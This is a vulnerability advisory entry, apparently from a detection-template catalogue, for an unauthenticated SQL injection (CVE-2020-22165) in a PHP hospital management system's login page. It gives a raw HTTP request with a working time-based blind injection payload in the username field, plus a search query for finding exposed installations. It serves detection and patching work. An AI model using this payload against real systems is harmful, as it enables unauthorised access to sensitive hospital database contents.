| Title | PHPGurukul Hospital Management System 4.0 - SQL Injection |
|---|---|
| Author | ritikchaddha |
| Severity | High |
| Impact | Successful exploitation allows attackers to access sensitive data from the database, potentially leading to data leakage and further compromise of the application. |
| Remediation | Upgrade to the latest version or apply proper input sanitization and parameterized queries to mitigate this vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.23655 |
| CVE ID | CVE-2020-22165 |
| CWE ID | CWE-89 |
| Fofa Query | title="Hospital Management System" && body="HMS" |
| Tags | cve2020 cve hms cms sqli phpgurukul vkev vuln |
PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\user-login.php. Remote unauthenticated users can exploit the vulnerability to obtain sensitive database information.
POST /hms/user-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Connection: close
Transfer-Encoding: chunked
Accept-Encoding: gzip
0
POST /hms/user-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 150
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=a' and 1=2 union select 1,2,if(substring((select user() limit 0,1),1,1)='r',sleep(8),1),4,5,6,7,8,9#&password=asfsafafsafsaf&submit=1&submit=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-22165.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-22165.pcap
N/AN/A